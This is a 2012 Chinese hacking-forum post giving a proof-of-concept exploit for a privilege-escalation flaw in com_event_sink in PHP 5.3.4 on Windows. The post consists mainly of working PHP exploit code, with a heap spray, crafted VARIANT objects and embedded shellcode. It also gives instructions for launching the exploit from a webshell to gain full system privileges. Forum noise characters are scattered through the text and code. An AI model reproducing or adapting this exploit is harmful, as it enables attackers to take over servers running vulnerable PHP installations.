找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2348|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
; Q+ [# `. K& }4 h: a& `; m% o" Y. s/ N9 l* f# w- _
测试方法如下:cmd /c x:\php\php.exe x:\test.php8 v' n6 M$ V& O- v+ A
+ j& e. _6 {$ B1 j" R4 B4 f
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php3 M0 ~4 {9 O- S
这里是两个测试的截图:; m! P; k! s: T& b( g

0 K7 B$ x( ^, ^' l" @- v, T8 {
$ k4 Z' t7 [1 I' Y- a; a$ b6 R  \( w
7 i0 l5 q' l( g1 j0 x; u3 w$ w& L( v6 u
7 O) H& ~' s* c, ~  n! ?" ?
成功利用此漏洞的攻击者将获得系统的最高权限
4 \) N' y' Q1 b1 F: u6 H' `  T' A+ u  Q4 l5 \1 F' K& N
: z  K9 F# {: h' k; @/ `
- s1 P9 I2 }3 b7 g$ L

( }7 i' b, L' m
% t# s" O6 ~2 L7 d- c% V& x关于漏洞分析稍后附上。一下是PoC代码:1 L$ }) O! M7 ~+ C! R
' b2 q9 ]2 Q  F) R3 y" b
<?php" ^3 O/ ]6 W7 v5 t
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞1 [/ w: D/ [2 o! D3 o& X0 M- U& d& |: `0 J
//$eip ="\x44\x43\x42\x41";5 \; q3 U5 e) C+ h2 o, a4 e
$eip= "\x4b\xe8\x57\x78";5 E$ x3 H1 J3 g$ W7 `; y
$eax ="\x80\x01\x8d\x04";' j+ F) o& a1 J8 F8 [2 C0 f
$deodrant="";
" ?6 b( K9 r- G: Q2 L) S1 w$axespray = str_repeat($eip.$eax,0x80);& a" }* `6 [! E) M
//048d0190
( \4 R& Y8 H& d5 C1 V4 X' j0 |6 uecho strlen($axespray);
! A+ e6 |9 m) n& Gecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";+ P& I) Z* K9 \) C
echo "Silic Group Hacker Army - BlackBap.Org";4 C1 Z2 |2 B! c) a$ F: \) F9 f
//19200 ==4B32 4b00
! R$ q$ t1 l( A; ]for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
) w8 Y' @+ |4 K- S7 c$terminate = "T";
9 I; C" d; v% R4 x9 Z3 w4 ?$u[] =$deodrant;
' F6 a' c$ i4 ?8 T$r[] =$deodrant.$terminate;" n7 S5 B" J  S
$a[] =$deodrant.$terminate;" V1 H$ |4 s! t3 a  f$ K  ]/ o3 H
$s[] =$deodrant.$terminate;5 U$ d0 H6 L9 j
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
" F) F3 s) ?# k( a2 R$vVar = new VARIANT(0x048d0000+180);$ {; J( s' f0 t" N: K7 S
//弹窗代码(Shellcode)8 ^" Z$ _6 l* p
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
: L2 j9 `: I" ^. i3 G& d/ B4 p$var2 = new VARIANT(0x41414242);
5 T" a7 C7 c' }com_event_sink($vVar,$var2,$buffer);
" ?, c6 a* x& r! R?>
- M3 f5 a7 @: V- {

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表